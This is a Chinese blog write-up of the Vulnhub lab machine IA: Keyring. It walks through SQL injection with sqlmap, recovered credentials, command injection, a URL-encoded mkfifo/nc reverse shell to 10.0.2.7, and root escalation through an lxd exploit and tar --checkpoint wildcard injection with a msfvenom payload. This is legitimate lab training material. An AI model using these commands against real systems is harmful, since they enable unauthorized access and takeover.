2022-01-06 18:27阅读: 501评论: 0推荐: 0

Vulnhub 靶场 IA: KEYRING (1.0.1)

前期准备:

靶机地址:https://www.vulnhub.com/entry/ia-keyring-101,718/

kali攻击机ip:10.0.2.7
靶机ip:10.0.2.4

一、信息收集

1.使用nmap对目标靶机进行扫描

image

发现开放了22和80端口。

2. 80端口

image

说创建一个账户,那就创建一个账户登陆一下:

image

查看一下系统,在 /control.php 页面发现提示:

image

说有 HTTP Parameter Pollution(HTTP参数污染),扫一下目录看看:

image

发现了个 /history.php 页面,查看一下,登录自己的账户访问时什么都没有,退出账户后提示:

image

二、漏洞利用

结合上面提示的 HPP,推测后面应该有 user 参数或者能绕过,user=admin 试一下(登录账户状态):

image

给了个网址,访问一下:

image

发现是网站的源码,查看一下,在 /control.php 的源码中发现存在 system()函数,参数是 cmdcntr:

image

image

访问了一下发现不行,看源码应该要 admin 用户,回到 /history.php 页面,user=admin 可能存在注入,sqlmap注入一下:

sqlmap -u "http://10.0.2.4/history.php?user=admin" --cookie="PHPSESSID=sgt3vncdt12bda48g1djbok9hi" --dbs --batch

image

记得加上 cookie:

image

注入成功。查看一下 users 数据库中的表:

image

看一下这两个表,在 details 表中发现了用户名和密码:

image

admin:myadmin#p4szw0r4d
john:Sup3r$S3cr3t$PasSW0RD

john 感觉是系统用户,ssh 连接一下:

image

连接失败,那用 admin 账户登陆一下系统试试前面发现的 /control.php 页面下的 cmdcntr 参数:

image

发现可以,简单查看一下:

image

有 john 用户,但是没有权限访问,写个反弹 shell:

image

记得 url 编码一下,访问并用 nc 连接:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.0.2.7%201234%20%3E%2Ftmp%2Ff

image

升级一下 shell

image

回车。

三、提权

查看一下系统内的文件和权限,没什么东西,想起来之前发现的 john 密码,切换成 john 用户:

image

查看下 john 家目录下有没有信息:

image

发现一个 flag 。

1.提权方法一

查看 id 是发现是 lxd 组的

image

查看 lxc 发现可用,那就直接用 lxd 的提权漏洞

image

查看下 46978.sh 文件:

image

按照步骤来就行,先把 46978.sh 复制一下:

image

然后下载 lxd-alpine-builder

image

./build-alpine 运行后会生成一个新的压缩文件:

image

把新的压缩包和之前的 privilege.sh(46978.sh)文件传出到靶机中:

image

提权并尝试运行一下 ./privilege.sh ,是用 -f 参数:

./privilege.sh -f alpine-v3.15-x86_64-20220106_1716.tar.gz

运行后就会把整个 root 复制到 /mnt 下:

image

在 /mnt/root/root 下查看 flag:

image

2.提权方法二

image

在 john 目录下发现一个 compress 文件,下载下来查看一下:

image

image

发现会以 root 把 '' 压缩成 archive.tar 包,那我们可以利用 Tar 通配符注入(--checkpoint)来提权,然后运行 compress 文件:

用 msfvenom 写一个反弹 shell:

msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.7 lport=1235 R

image

mkfifo /tmp/xdtpkhr; nc 10.0.2.7 1235 0</tmp/xdtpkhr | /bin/sh >/tmp/xdtpkhr 2>&1; rm /tmp/xdtpkhr

写入文件中然后赋予权限:

image

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

image

./compress 运行文件并 nc 监听:

image

连接成功,查看 flag:

image

完成。

posted @   sainet  阅读(501)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起